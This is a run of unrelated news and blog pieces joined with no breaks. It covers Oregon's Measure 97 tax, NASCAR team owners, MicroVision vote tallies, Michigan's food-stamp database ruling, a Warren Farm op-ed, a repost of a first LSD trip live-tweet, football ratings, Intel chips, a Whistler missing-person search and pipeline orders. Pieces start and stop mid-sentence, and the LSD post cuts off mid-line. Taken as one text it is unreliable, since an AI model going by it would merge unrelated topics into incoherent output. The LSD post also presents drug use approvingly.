The third LRO report was in response to a proposal floated by Senate Finance and Revenue Chair Mark Hass, who proposed an M97 replacement during the 2016 legislative session. According to the Senator’s office, the proposal would have repealed the state’s corporate income tax and instituted a gross receipts tax of 0.39 percent on sales of greater than $1 million. It made a few changes to the personal code as well, including an expansion of the state’s Earned Income Tax Credit and standard deduction which benefits filers with incomes below $34,311. It would increase state revenues by $249 million in 2017.[15]
LRO found that this proposal would also reduce personal income in Oregon, particularly for filers with greater than $34,311 in income. It would, however, increase employment by 4,454 jobs, but the large share of those would be public-sector employees.[16]
LRO is expected to release analysis on M97 in the coming weeks. These three reports give us a glimpse into what that report will say. LRO will likely find that M97 is an exceptionally burdensome and destructive tax.
Comparing Oregon to Other States
Five states, Delaware, Ohio, Nevada, Texas, and Washington, assess a state-wide gross receipts tax (Figure 2).
Figure 2.
Oregon’s proposal differs from many of these other states. First, some states with a gross receipts tax, like Washington or Nevada, try to mitigate some of the disincentive effects from their gross receipts tax by varying the tax rate by industry. The B&O in Washington has 31 rates, while the Commerce Tax in Nevada has 26 rates. Higher profit industries or those with more vertical integration are subject to a higher tax rate than lower profit industries. This is an attempt to make the tax more neutral, but sacrifices simplicity in the process.
Other states, like Texas, allow for deductions for the cost of goods sold or for employee compensation. The tax is then due on a more equitable tax base than all sales. This moves the gross receipts tax closer in structure to a corporate income tax and limits some of its economic distortions.
The Oregon proposal does neither of these things. The rate of 2.5 percent would apply to all businesses with sales above $25 million with no consideration for industry structure. The proposal does not allow firms to deduct input cost. Oregon’s proposal would be the truest type of a gross receipts tax.
The Oregon rate is much higher than many other gross receipts taxes too. Delaware charges between 0.0996 and 0.7468 percent. Ohio charges 0.26 percent. Only Washington’s Business and Occupation tax has a rate that is higher, 3.3 percent, but that rate is only assessed on radioactive waste disposal. Retailing is taxed at 0.471 percent and wholesaling is taxed at 0.484 percent.[17]
Table 3: State Gross Receipts Tax Rates State Name of Tax Range of Rates[18] Del. Manufacturers’ & Merchants’ License Tax 0.0945% –.7468% Nev. Commerce Tax 0.0051% – 0.331% Ohio Commercial Activities Tax (CAT) 0.26% Oregon Measure 97 (if passed) 2.5% Texas Margin Tax 0.331% – 0.75% Wash. Business & Occupation Tax (B&O) 0.13% – 3.3%
Many other states have repealed their gross receipts taxes in recent years, largely because of the tax’s ill effects. Indiana repealed its gross receipts tax in 2002, New Jersey repealed its tax in 2006 after only four years, and Kentucky’s gross receipts tax only lasted a year before it was repealed.[19] Michigan repealed its infamous Michigan Business Tax in 2011.[20]
Oregon’s corporate tax structure is already uncompetitive. The state ranks 11th best overall on the State Business Tax Climate Index, but is buoyed by its strong performance on the sales tax and property tax variables. It currently ranks 37th among the 50 states on the corporate income tax subcomponent. If this proposal is adopted, Oregon will fall to 50th on the corporate income tax subcomponent and 17th overall, and the proposed gross receipts tax will give Oregon the worst corporate tax climate for businesses in the country.
Conclusion
The tax proposal included in M97 fails to meet many of the tenets of sound tax policy. It is not neutral, and it is not equitable. It will lead to significant tax pyramiding and higher costs for consumers. Unlike other states with a gross receipts tax, Oregon’s proposal does not try to mitigate its distortionary effects. Instead, it would create a gross receipts tax with the highest rate in the country, except for the rate charged on radioactive waste disposal in Washington State. If adopted, Oregon’s corporate tax system will become the least competitive among the 50 states.Richard Petty said Friday the newly formed Race Team Alliance was necessary because NASCAR hasn’t done enough to help team owners slash costs.
The RTA was announced earlier this month as an alliance of nine of NASCAR’s top teams. Rob Kauffman, co-owner of Michael Waltrip Racing and chair of the owners’ group, said the RTA’s immediate aim is to build purchasing power, create travel partners and finding a common insurer.
NASCAR Chairman Brian France this week said the RTA wasn’t necessary and the sanctioning body believes listening ”to one voice is just a bad idea.”
Article continues below...
Petty, the seven-time NASCAR champion and Hall of Fame driver, gave a hearty laugh when asked whether the RTA is a bad idea.
”It’s really kind of a bad idea from the standpoint that NASCAR should be doing what we’re doing,” said Petty, who has put Richard Petty Motorsports in the alliance. ”We belong to an organization, and NASCAR should be making the best deals they can for their organization. We see them do a lot of that, but they’re not doing it as much as maybe the new crowd wants to see.”
Petty said his two-car organization joined the RTA to explore cost-cutting measures and likened the alliances’ ideas to a farmers’ cooperative.
”We are all independent contractors and we have no voice to the general public,” he said. ”That’s my main objective. Can I save on insurance? Can I save on travel? Can we save on stuff we are doing to the race car? Can we save time at the race tracks? Stuff like that to keep from having to overpay what we are doing now.”
He also insisted the RTA is not trying to pick a fight with NASCAR leadership. Although many have wondered if the team’s ultimate goal is to seize a bigger percentage of next year’s $8.2 million television package, Kauffman, Petty and other owners have said their focus is on working as a group to save money.
”Our main deal is not to run NASCAR,” he said. ”Anything we do to tear NASCAR down is cutting our own throats. We’re going to do everything we can to make NASCAR bigger and better. Because if we don’t, then we’re out of business.”
Humpy Wheeler and Dave Moody join the NASCAR Race Hub team to discuss the RTA’s intentions:
Rob Kaufmann addresses Race Team Alliance questions:
Richard Petty reflects on Aric Almirola’s Daytona win:Thank you to everyone who came to the Annual Shareholders Meeting last week. It was nice to see familiar faces and meet new people. Before the meeting began we demonstrated our display, interactivity and sensing solutions.
During the meeting, CEO Alex Tokman gave a brief presentation. The presentation can be accessed on our website.
We announced the results of the votes on the issues before shareholders at the meeting and they are available on the 8K filed with the SEC. To recap, here are those results:
Proposal 1:
All of the Company’s nominees for director were elected by the votes set forth in the table below:
Nominee For Withheld Broker Non-Votes Robert Carlile 21,774,453 1,349,691 31,829,118 Yalon Farhi 21,451,240 1,672,904 31,829,118 Slade Gorton 20,617,961 2,506,183 31,829,118 Perry Mulligan 20,638,556 2,485,588 31,829,118 Alexander Y. Tokman 19,575,600 3,548,544 31,829,118 Brian Turner 20,676,010 2,448,134 31,829,118 Thomas M. Walker 20,682,060 2,442,084 31,829,118
Proposal 2:
The stockholders approved the proposed amendment to the 2013 MicroVision, Inc. Incentive Plan by the votes set forth in the table below:
For: 18,362,574 Against: 4,016,182 Abstain: 745,388 Broker Non-Votes: 31,829,118
Proposal 3:
The stockholders ratified the appointment of Moss Adams LLP as the Company’s independent registered public accounting firm for the fiscal year ending December 31, 2017, by the votes set forth in the table below:
For: 51,391,691 Against: 1,907,836 Abstain: 1,653,735
The proposal to ratify the appointment of Moss Adams LLP was a routine matter and, therefore, there were no broker non-votes relating to that matter.
We look forward to seeing shareholders again next year. In the meantime, you can contact us with questions at ir@microvision.com.Buy Photo Bridge card (Photo: Amy Leang Detroit Free Press)Buy Photo
Over and over again, the computer rejected their names — and automatically cut off their food stamps.
Walter Barry, a 46-year-old mentally disabled Detroit man who lives with his mother, lost his public assistance when his name turned up in a fugitive database: His brother had stolen his name and used it as an alias when he was arrested about 25 years ago.
Identity theft victim Donitha Copeland, a onetime homeless woman, lost her food benefits when her name showed up in the same database: There was an outstanding warrant for her arrest for writing bad checks in Kalamazoo, though she had never been there.
Kenneth Anderson, a disabled 58-year-old man who requires oxygen 24 hours a day, lost his food assistance, too, because of an arrest warrant involving a nephew — not him.
It's these kinds of stories that prompted the U.S. 6th Circuit Court of Appeals this week to strike down Michigan's fugitive-felon policy, which, in three years, has automatically cut off public assistance to 20,000 people whose names popped up in a computer database that identified them as felons.
It works like this:
The state has one list of all people receiving public assistance, and another list of people facing outstanding felony arrest warrants. If someone's name shows up on both lists, their public assistance benefits are automatically cut off.
► Access to healthy food: Bus programs and farmers market can help
But as Barry's case showed, the computer isn't always right and deserving individuals wind up losing public aid, the court noted.
"His story... well illustrates the difficulties that the bare-bones Michigan system can produce," the 6th Circuit wrote in its 12-page opinion, which upheld a lower court ruling that had declared Michigan's policy as unconstitutional.
At issue in the case is the federal Supplemental Nutrition Assistance Program (SNAP), more commonly known as food stamps, which bans people from receiving benefits who have fled prosecution for a felony. In an effort to catch such scofflaws, the State of Michigan in 2013 developed an automated program that compares the list of public-assistance recipients with a list of outstanding felony warrants maintained by the law enforcement information network.
In 2015, U.S. District Judge Judith Levy struck down the state's database, concluding it wrongfully denied plaintiffs of their right to food aid because they were neither actively fleeing or avoiding prosecution for a felony.
The 6th Circuit agreed.
"The district court correctly declared invalid the Michigan fugitive-felon policy and the portions of Michigan statutes on which the policy was based," the 6th Circuit wrote.
American Civil Liberties Union staff attorney Miriam Aukerman, who challenged the policy, along with the Center for Civil Justice, hailed the ruling as a big win for the thousands of individuals who automatically lost their benefits for crimes they may have had nothing to do with.
"Computers make mistakes. None of us want to have our lives ruled by some computer algorithm. What's important here is the state can't cut corners anymore. It can't automatically cut off people from desperately needed assistance," Aukerman said.
Barry's case, Aukerman noted, was especially troublesome.
"He keeps proving that he's entitled to these benefits and the computer keeps spitting out this rejection," she said. "And his case is not an exception. It's the rule."
Attorneys representing the state were not available for comment.
► Related: Hungry elderly woman calls 911 for help
The lawsuit, which was filed in 2013, involved four plaintiffs who each experienced administrative nightmares in trying to get their public assistance back, all because of mix-ups in the state's automated system. Here, according to court records, are their stories:
The lead plaintiff is Walter Barry, a mentally disabled man who lives in Detroit with his mother, Elaine Barry. In 2012, he was awarded $186 per month in food assistance, but later that year he learned that his benefits would be cut because of a "criminal justice disqualification."
His mother requested a hearing with state authorities and took Barry to the Detroit Police Department, where his fingerprints were taken. Police found he had no criminal history. An administrative law judge quickly reinstated Barry's benefits.
Five months later, the same problem occurred. Barry received notice that his benefits would be terminated because of a criminal issue. In May 2013, a Michigan Department of Health and Human Services employee said she had "personally verified" through a LEIN check that Walter had an outstanding felony arrest warrant dating to 1989 by the Detroit police. It turned out that the outstanding warrant at issue was really for Barry's brother, who had stolen Barry's name and used it an alias when he was arrested about 25 years earlier.
The problem didn't go away, however. The warrant kept showing up in Barry's name, even though it wasn't him. His mother made repeat visits to the police station. Barry's fingerprints were taken over and over again. A police officer gave four statements that Barry had no criminal history. But his name kept turning up in the state's system as a fugitive who was not entitled to food benefits.
Donitha Copeland of Wayne County had a similar story. In September 2012, she qualified for $200 of food assistance per month. Two months later, she became a victim of identity theft and filed a police report in Detroit. The next month came the notice: Her public benefits would be cut because of a criminal issue. Copeland would eventually learn that there was a warrant for her arrest Kalamazoo on a charge of bad checks, even though she had never been to Kalamazoo. She ended up traveling to Kalamazoo, turning herself in and spending eight hours in jail before finally being cleared of any wrongdoing after proving it wasn't her writing the bad checks.
Plaintiff Kenneth Anderson is a 54-year-old disabled man who requires oxygen 24 hours a day and can't walk unassisted. He received $200 in food assistance per month, but his case was closed in mid-2012 for failure to provide paperwork. When he reapplied in December 2012, his application was denied because of a purported criminal matter. His name had shown up in the state's database, which showed there was an outstanding felony warrant issued for him in January 2013. It involved a drug case from 2009 that involved his nephew. Anderson was never arrested, nor was he ever told there was a warrant for his arrest. He is now receiving food assistance.
The state, however, can no longer deny people like Anderson, Copeland and Barry assistance just because their names turn up in a database. A federal court issued an injunction to block the practice; the 6th Circuit upheld it.
Aukerman said she understands the state's need to make sure that real fugitives and criminals aren't receiving public assistance, as federal law prohibits. But the old system had to go.
"There are about 20,000 people who were cut off from assistance under this policy, without anyone ever looking to see if they were properly disqualified," Aukerman said. "It's really about fairness... you can’t cut corners. You can’t just do this by computer... they can’t automatically cut people off."
Contact Tresa Baldas: tbaldas@freepress.com
Read or Share this story: http://on.freep.com/2c35LeTDMD_QPR shares his view on Warren Farm as both a local resident and a Queens Park Rangers supporter
I have a real interest in Warren Farm. From the back of my house I can view the old changing rooms on Warren Farm in the distance, I sometimes walk my dog on Warren Farm, and my son`s football team has played there in the recent past. I am also a QPR fan for as long as I can remember and a season ticket holder for many years.
So when QPR announced that they were looking at Warren Farm as the venue for the new training facility I was delighted, and not just because it`s QPR.
Ealing Council have neglected Warren Farm for years, the changing rooms are in a terrible state, really run down, showers not working, no hot water, bleak and totally unwelcoming. The pitches are often waterlogged, or rock hard in the summer, bumpy with dips and just generally neglected. In fact the whole place feels dire, and with no hope of any investment from Ealing Council to even try to lift the place.
So looking at QPR’s plans and seeing the community facilities included, knowing how good QPR in the Community has been over the last 20 years I felt this was a great decision by Ealing Council. Local kids will get the full benefits of this, the community sporting facility will be open for residents of Ealing Borough, QPR will become more active in shaping youth football, getting kids active, and bring something to Ealing that they have never had, a link to a professional football team and hopefully a Premier League football team going forward.
Yes, a large proportion of the facility will be private, but that is to be expected as QPR will be the tenants investing over £30 million, and will create a state of the art training facility for the club and academy.
Planning something on this scale is never straightforward, there will always be people opposed to change, and others who want to make political gains from opposing the councils decision. So it came as no surprise that a local group Hanwell Community Forum (HFC) were against the plan to hand over the land to QPR on a 200-year lease.
Some of the early comments to local press and on there web site were nearly comical, some examples like “Paparazzi will invade privacy in the area for local residents and cause a nuisance” or “the plans will add to parking issues in Old Hanwell” – which actually is on the other side of a railway track and a canal – or ‘I won’t be able to walk my dog on Warren Farm’ are really not reasons to object.
Now their legal action seems to be based on the fact that Warren Farm is Metropolitan Open Land, and Ealing Council are giving away this land to QPR, and the public will lose the right of way to the land. They have the backing of the opposition Conservative, Liberal and Green parties in Ealing as well as a local law firm who are providing the legal advice.
What is annoying is that HCF state they are representing the views of people in Hanwell and Ealing, well they do not represent me, or in fact many people in the Borough of Ealing. There is also great deal of support for the plans on Warren Farm, support that may not be as vocal as the HCF but it is there, and maybe now is the time to show that support.
To get a true refection of what is best for Warren Farm and what`s best for residents of Ealing we need to understand how Warren Farm is used now and where it’s located.
It is true that Warren Farm is Metropolitan Open Land but Ealing is very lucky to have plenty of open land in the Borough, and Warren Farm is adjacent to the Brent River Park, Elthorne Park, Long Wood and Osterley Park is further down the road. The entrance is on Windmill Lane, which is not very residential in fact the nearest resident is the Sultan of Brunei who has a large property and grounds opposite Warren Farm.
For years Warren Farm has been used by local Saturday and Sunday league football teams both adult and junior, officially there are 12 full size pitches and several junior pitches. In total over 20 pitches. Also Cricket pitches in the summer, as well as other events that Ealing Council has rented the grounds out for. Other local groups using the grounds including Warren Farm Radio Flyers. The land is also used by local people to walk dogs, jog, kick a ball around, flying kites etc.
But in truth most of the week its empty, just a few dog walkers if your lucky, only at weekends are the pitches utilised, it`s a shame that the council has never made more of the facilities, if they had then there would not be a need to rent the land to QPR, and all local political parties are to blame for the years of no investment, letting the changing rooms fall in to disrepair, and not utilising the land to its potential.
So do we sit back and let a local group fight to keep Warren Farm in the state that it’s in, so just a small amount of people can walk their dogs, or stroll across a field based on a right to have freedom of access or do we let QPR rent the land, build a state of the art training facility for the club and build a fantastic new community facility with indoor and outdoor pitches, that will serve local people for years to come – benefiting schools, local clubs, sporting organization`s across the Borough of Ealing, helping to keep our kids fit, and maybe most important of all having QPR’s excellent Community Trust becoming more involved in Ealing in general.
In fact last summer QPR’s Community Trust attended the local Hanwell Carnival, it always is a great day and even better for having QPR there, they ran several events including kids football training, matches, games, and also had a club shop stand, this was a small taste of what we can expect in the future.
I really hope that Hanwell Community forum court actions do not spoil what would be something fantastic for Ealing, and that they understand what`s best for the greater number of people throughout the Borough of Ealing
DMD_QPRThis is from a few months back, but is so full of innocent wonder that I have to post it! In September, @hella_brad took his first dose of acid and decided to live-tweet the trip. Considering the frequency and quality of the tweets, not to mention his ability to walk around and socialize, I imagine he took a low dose.
Some have questioned the veracity of the tweets, but to me it seems real, and it would be a silly thing to fake. Hella_brad’s Twitter persona comes across as genuine and endearing, not just in these tweets but in general, so it would surprise me if this was some kind of hoax.
He captures the emotions and visual spectacles of a psychedelic trip perfectly. I bolded some of my favorite lines and added some pictures from around the Web.
Serious tweet: should I take acid and go to a frat barbeque. I trust you guys to make the right decision for me
well, wish me luck, please pray i don’t get hit by a car or arrested, and we’re going to do this
aaand it’s on the tongue.
the bus is on time. I am listening to R Kelly to keep a positive headspace going. #livetweet
it’s a beautiful day outside today, I could not imagine a better day to be doing this. so many flowers, nice breezes
a cute girl just sat down on the bus and leaned up against my legs like an armrest but then realized they were legs and apologized profusely
it was v awkwardly cute, I think acid must be magic
we’re at roughly 30 minutes now and I feel very happy and am having weird thoughts: “wow my fingers look so alive” “I feel like a chameleon”
WHAT THE HECK THIS GUY NEXT TO ME JUST POPPED THE EMERGENCY EXIT WINDOW OUT I’M LAUGHING SO HARD LET’S GET OFF THE BUS NOW
DAMN everything is WAY prettier without a window in between me and it
green things are so green, flowers are so beautiful and intricate, shiny things are radiantly shiny
I’m glad I showered before doing this because smells |
as it has undershot on teams like Michigan State and North Carolina.
When the season is over, I post full-season S&P+ numbers along with a Weighted S&P+ figure that signifies, basically, how each team finished the year. It adds context.
Look at 2014, for instance. That No. 6 Ole Miss finished ahead of No. 8 TCU is an eyesore because of the way TCU handled the Rebels in the Chick-fil-A Bowl. But that was the end-of-year version of those two teams; the Ole Miss of the first half of the season was probably the best team in the country. Weighted S&P+ adds context -- Ole Miss' weighted rank was 77th, which tells you how good the Rebels were early and how bad they were late.
So while the official S&P+ projections for this week's games are the more reliable projections, what can a weighted number tell us about these matchups?
Here are the eight teams participating in this weekend's power conference championship games, their S&P+ ratings, and their Weighted S&P+ ratings, which place heavier emphasis on the last eight weeks:
CFP rank
S&P+ Rank Weighted S&P+ Rank Difference 1 Clemson 12-0 25.7 2 14.9 16 -14 2 Alabama 11-1 26.7 1 24.2 1 0 4 Iowa 12-0 11.0 29 6.8 45 -16 5 Michigan State 11-1 16.0 11 6.9 44 -33 7 Stanford 10-2 15.2 15 16.3 9 6 10 North Carolina 11-1 10.9 30 16.0 11 19 18 Florida 10-2 14.7 16 7.7 37 -21 20 USC 8-4 13.6 21 0.9 63 -42
Michigan State's rating probably stands out to you. The Spartans have looked incredible recently, but very recently -- before beating Ohio State in Columbus and crushing Penn State, Sparty was losing to Nebraska and flirting with the idea of losing to Indiana and Rutgers.
Something else might stand out.
Over the last eight weeks, it might be justifiable to say North Carolina has been better than Clemson.
The Tar Heels' overall ratings have suffered because of results from the first half of the season: their loss to South Carolina, their two games against FCS opponents (including a sleepwalk against Delaware that saw them leading 13-7 at halftime), a less-impressive-than-we-thought win over Georgia Tech, etc.
But while they blew a lead against Virginia Tech and threatened to do the same at NC State, there's no question that they've been awesome of late. They didn't just beat Duke and Miami. They beat the Blue Devils and Hurricanes by a combined 70 points.
At the same time, Clemson's level has dropped. The Tigers were untouchable early, and after surviving Notre Dame, they put up five consecutive performances that were at the 84th percentile or higher. They earned the No. 1 rating in both the committee and S&P+.
Since Florida State, the Tigers have fallen into fourth gear. The win over Wake Forest was fine, but in road games against Syracuse (No. 76) and South Carolina (No. 86), they won by a combined 74-59. Quarterback Deshaun Watson's performance was impressive enough to ensure Clemson was never in danger, but the defense showed clear cracks.
Once Clemson cleared the FSU hurdle, it was natural for the Tigers to let up. But if they are going to get past UNC, the let-up will need to be temporary.
Let's look at the win probabilities for this week's title games.
Again, the full-season, official S&P+ ratings are more likely to be accurate from a projections standpoint. So when you see that Clemson has an 80 percent chance of beating UNC, or that Stanford-USC is a virtual tossup, do not write that off.
But if we were to use the weighted S&P+ ratings to derive win probability, we'd see a different prediction.
Win probability (S&P+) Win probability (Weighted S&P+) Big Ten Michigan State vs. Iowa Michigan State 62% Michigan State 50% (-12%) SEC Alabama vs. Florida Alabama 76% Alabama 83% (+7%) ACC Clemson vs. North Carolina Clemson 80% North Carolina 53% (-33%) Pac-12 Stanford vs. USC Stanford 54% Stanford 81% (+27%) AAC Temple at Houston Temple 51% Temple 51% (+0%) MWC Air Force at San Diego State SDSU 60% SDSU 80% (+20%) Conference USA Southern Miss at Western Kentucky Western Kentucky 78% Western Kentucky 74% (-4%) MAC Bowling Green vs. Northern Illinois Bowling Green 70% Bowling Green 74% (+4%)
USC hasn't been that great since Clay Helton took over (or, more fairly, since depth issues began to take their toll in the trenches and at linebacker). The Trojans were strong against Notre Dame and Utah and excellent in the second half of the win over UCLA. But between those performances was a string of mediocrity, beating Cal, Arizona, and Colorado by a combined 17 points and getting run out of Autzen Stadium by Oregon.
Stanford, meanwhile, has continued defensive issues (56th in Def. S&P+) but has sustained a high level on offense (seventh in Off. S&P+).
We have an orderly view of the Playoff, but...
Oklahoma and the Iowa-Michigan State winner are in, and barring upset, Alabama and Clemson are, too.
But if trends matter, Clemson could have its hands full, and Stanford could win by a large enough margin to make a run at the fourth spot with a UNC win. We might not be done with drama yet.Elsa, Anna, Rapunzel, and Kairi make up four of the new Princesses of Heart. Come theorise who the last three Princesses will be!
Details Published on June 11, 2013 @ 02:18 am Written by Joey
On March 29th 2012, KINGDOM HEARTS 3D [Dream Drop Distance] was released in Japan on the Nintendo 3DS. Fans devoured the game, spending endless hours trying to rush through the prelude game to KINGDOM HEARTS III, hoping to find some clue or hint of what would be coming next in the series. During the credits of KINGDOM HEARTS 3D, players guide Sora through an interactive credit roll, dropping through golden letters that end up spelling out "THIS LEADS TO KINGDOM HEARTS". Following the words, Sora and Riku walk towards the Door to Light, their bodies creating the silhouette of a "III".
Fans questioned what it could mean and in various interviews with series director Tetsuya Nomura following the release of KINGDOM HEARTS 3D, little was said about what the words truly meant. Nomura remained vague as he always was when KINGDOM HEARTS III was brought up, but finally we have reached the fateful day.
Today on June 10th, 2013 at the Electronic Entertainment Expo held in Los Angeles, California, KINGDOM HEARTS III was announced to be in development by Square Enix & Disney!
Continue to follow our E3 2013 Coverage on our website, Facebook, Twitter, and Tumblr for all of the latest news!Intel this week formally launched its Atom C3000-series processors (formerly codenamed Denverton). The new chips are designed for inexpensive storage servers, NAS applications, as well as autonomous vehicles. The C3000 series features up to 16 low power x86 cores, integrated 10 GbE, rather rich I/O capabilities, as well as Intel’s Quick Assist technology.
Intel’s Atom C3000 processors are based on Intel's current-generation Goldmont Atom microarchitecture, with SKUs offering between 2 and 16 cores and clockspeeds up to 2.2 GHz. Being designed for primarily for NAS and servers, the Atom C3000 SoCs fully support Intel’s VT-d hardware virtualization, Quick Assist compression/encryption technology (up to 20 Gbps throughput) as well as up to 64 GB of single-channel DDR4-1866 or DDR3L-1600 ECC memory. When it comes to I/O, the Atom C3000 features a PCIe 3.0 x16 controller (with x2, x4 and x8 bifurcation), 16 SATA 3.0 ports, four 10 GbE controllers, and four USB 3.0 ports.
Due to its rich I/O capabilities, the Atom C3000 is aimed at a wide range of devices, including servers/NAS (which they were originally designed for) as well as emerging applications like IoT and autonomous vehicles. For example, PCIe 3.0 bus may be used to connect various controllers, sensors and co-processors (e.g., a GPU) to the SoC. Last year we examined one of the server-oriented C3000-based designs that is going to be one of the many devices featuring the new chips.
Intel will offer various versions of its Atom C3000 SoCs with different TDPs starting at 8.5 W. The chips will support extended temperature ranges for storage, industrial and autonomous driving environments. In addition, Intel says that the processors feature “automotive-grade safety and security features,” but does not elaborate (generally, ECC, Quick Assist, virtualization, etc. can be considered as safety and security features too).
So far, Intel has only announced one Atom C3000-series SoC: the Atom C3338, which has two cores running at 1.5 – 2.2 GHz, 4 MB cache, 10 PCIe 3.0 lanes, 10 SATA 3.0 ports, four Gigabit Ethernet ports and so on. The chip has 9 W TDP and costs $27 in commercial quantities and is expected to be available to Intel’s customers already this quarter.
Intel’s partners have been testing the Atom C3000 processors since at least early 2016. The chipmaker expects its allies to start launching actual products based on the chips by mid-2017. In addition to the SoCs themselves, Intel will also supply a data plane development kit (DPDK) as well as a storage performance development kit (SPDK) to assist its partners in development of networking and storage applications.
Related Reading:With "all available leads exhausted," local police have decided to suspend the ground search for Alison Raspa, an Australian national who has been missing for nearly two weeks.
The 25-year-old has not been seen since just after midnight on Nov. 23 when she left a village bar. Although police have turned up several of Raspa's personal items that were found in Creekside, an "extended almost two-week effort" has brought them nowhere closer to finding her.
"The search to date (has) been extensive and has circumnavigated the park, lakes, as well as the road/trails/parkades leaving from the village to Alpha Lake Park. At this point all available leads have been exhausted," read a Dec. 5 release from local police.
Whistler RCMP, Whistler Search and Rescue, the local fire department, RCMP Air Services and its Underwater Recovery Team have all participated in the efforts, along with a small group of family and friends who led a search party last Friday, Dec. 1 through Alpha Lake Park, where Raspa's cell phone was found.
Raspa's brother Steve made the trip from Australia to assist in the search, and thanked those who came out to lend a hand.
"Thank you for searching for my sister," he said. Visibly upset, Steve Raspa and other searchers declined to be interviewed.
Raspa's jacket, backpack and wallet were also discovered near Highway 99 and Lake Placid Road. Police said they have yet to determine why these items were discarded, but they "do not believe it is the result of foul play." It is common for individuals suffering from severe hypothermia to experience "hot flashes" and feel as though they're burning up, even removing items of clothing in extreme cases.
After leaving from the Three Below Restaurant Wednesday night, police said Raspa spoke with a friend on the Village Stroll and later may have taken public transit to Creekside. Authorities also revealed that Raspa had texted some of her friends at approximately 1:15 a.m. to say she was lost.
In previous interviews with Pique, Staff Sgt. Paul Hayes would not say whether Raspa was intoxicated at the time she left the bar, and Three Below owner Priyanka Kathuria declined to be interviewed while the investigation is ongoing.
For now, the missing person file will remain open until Raspa is located.
Law enforcement are still appealing for anyone who may remember seeing Raspa on the evening of Nov. 22 and into the early hours of Nov. 23. Contact the detachment at 604-932-3044 with any relevant information.
-With files from Joel Bardeby Justin Strekal, NORML Political Director
On Tuesday, travel radio and television host Rick Steves, a NORML Board Member, journeyed to Illinois to testify in support of marijuana legalization effort in the state legislature.
“When you legalize marijuana, use does not go up, teen use does not go up, crime does not go up, what goes up ix tax revenue, what goes down is the black market,” Steves said. “Seventy thousand people are locked up in our country every year, 700,000 people are arrested, for possession of marijuana, not violent crimes. They’re not rich white guys, they’re poor people and they’re black people. It’s amazing that it’s happening in our country right now and there is just a way out of this.”
Steves is well known for his public support of reform and has dedicated a tremendous amount of time and energy in support of outright legalization. During his press conference in Chicago, he was flanked by state lawmakers who have introduced the legislation. In their remarks, they laid out the economic realities of prohibition.
“It is clear that prohibition doesn’t work and that by lifting cannabis restrictions we can encourage economic development in Illinois,” State Senator Heather Steans (D-Chicago) said. “We are carefully considering all aspects and potential impacts of legalizing adult-use cannabis, including job growth.”
“Legalizing cannabis will spur the creation of new small businesses and much-needed jobs,” State Representative Kelly Cassidy (D-Chicago) said. “We are leaving hundreds of millions of dollars in economic activity on the table by continuing the outdated status quo of prohibition.”
A recent poll of Illinois voters shows that 66% support the outright legalization of marijuana, and 74% support an end to arrests and penalties for simple possession.
You can watch the press conference by clicking here.
Make sure to follow Illinois NORML on Facebook, Twitter, and visit their website: https://illinoisnorml.org/President Trump signed executive orders on Tuesday effectively reviving the controversial Keystone XL and Dakota Access pipelines, as a major builder said it will reapply to build one of the projects which had been stalled by the Obama administration under pressure from environmental and other groups.
The president said the projects would be subject to a “renegotiation of the terms.” But he made clear the government was resuming consideration for both pipelines, describing them as a potential boon to construction workers.
“We’re going to put a lot of … steel workers back to work,” Trump said. “We’ll build our own pipelines, we will build our own pipes.”
Builder TransCanada said Tuesday afternoon it was "preparing the application" for the Keystone XL pipeline.
"We appreciate the President of the United States inviting us to re-apply for KXL," TransCanada spokesman Terry Cunha said in a statement.
"KXL creates thousands of well-paying construction jobs and would generate tens of millions of dollars in annual property taxes to counties along the route as well as more than $3 billion to the U.S. GDP," Cunha added.
According to White House Press Secretary Sean Spicer, Trump directed agencies to approve it without delay -- and told agencies to expedite reviews and approvals for the remaining parts of the Dakota project.
“There’s an energy revolution that’s going to happen in this country,” he said.
The president also signed three other orders related to pipeline construction, including one expediting the environmental permitting process for infrastructure projects and one directing the Commerce Department to maximize the use of U.S. steel.
Looking ahead, Trump also announced he planned to nominate a justice for the Supreme Court next week, moving swiftly to try to fill the seat left vacant by the death of Justice Antonin Scalia. The president was summoning top senators to the White House later Tuesday to discuss his upcoming nomination.
The moves on the pipelines had been widely expected, as Trump last year blasted his predecessor for effectively blocking the projects.
Republican allies hailed Tuesday’s orders, with House Speaker Paul Ryan saying in a statement, “It’s about time.”
North Dakota Rep. Kevin Cramer said: “Today’s executive orders affirm President Trump’s respect for the rule of law and his support for responsible infrastructure development, energy production and job creation.”
Former President Obama stopped the proposed Keystone XL pipeline in late 2015, declaring it would have undercut U.S. efforts to clinch a global climate change deal that was a centerpiece of his environmental legacy. The pipeline would run from Canada to Nebraska where it would connect to existing lines running to U.S. refineries on the Gulf Coast. The U.S. government needs to approve the pipeline because it would cross the nation's northern border.
Separately, late last year, the Army Corps of Engineers declined to allow construction of the Dakota Access pipeline under Lake Oahe, saying alternative routes needed to be considered. The Standing Rock Sioux tribe and its supporters say the project threatens drinking water and Native American sites, though Energy Transfer Partners, the company that wants to build the pipeline, disputes that and says the pipeline will be safe.
The pipeline is to carry North Dakota oil through South Dakota and Iowa to a shipping point in Illinois. The project had been the subject of fierce protests until the Army Corps of Engineers stepped in.
The moves are likely to spark a new fight with environmentalists. Even before Trump’s orders were official, Sierra Club Executive Director Michael Brune put out a statement blasting what he called the “dangerous” decision.
“The Keystone pipeline was rejected because it was not in the country’s interest, and the environmental review of the Dakota Access Pipeline was ordered because of the threats it poses to the Standing Rock Sioux. Nothing has changed. These pipelines were a bad idea then and they’re a bad idea now,” he said.
The moves come as Trump makes the economy and jobs the centerpiece of his administration’s first week in office.
He met Tuesday morning with representatives from the auto industry including GM and Ford, after meeting a day earlier, separately, with business and union leaders.
The pipelines were among the few issues that put the Obama administration at odds with labor unions, some of whom have voiced hope the Trump administration can work with them to promote job creation. Trump said Tuesday during his meeting with auto industry bosses that he considers himself an environmentalist, but called current regulations "out of control."
The pipeline orders follow earlier executive actions covering everything from trade to ObamaCare.
Trump on Monday signed measures withdrawing the U.S. from the Trans-Pacific Partnership trade deal, and instituting a hiring freeze for most of the federal government. He also ordered federal agencies on his first day in office to ease the regulatory burden of the Affordable Care Act.
Fox News’ John Roberts and The Associated Press contributed to this report.Gross Family Alan Gross, center, with lawyer Scott Gilbert and wife Judy in the prison where he is being held in Cuba.
Alan Gross, the 64-year-old American contractor imprisoned in Cuba since 2009, has written a letter pleading with President Obama for his "personal involvement" to secure his release.
"With the utmost respect, Mr. President,” wrote Gross, who was arrested in Havana four years ago today, “I fear that my government-- the very government I was serving when I began this nightmare-- has abandoned me."
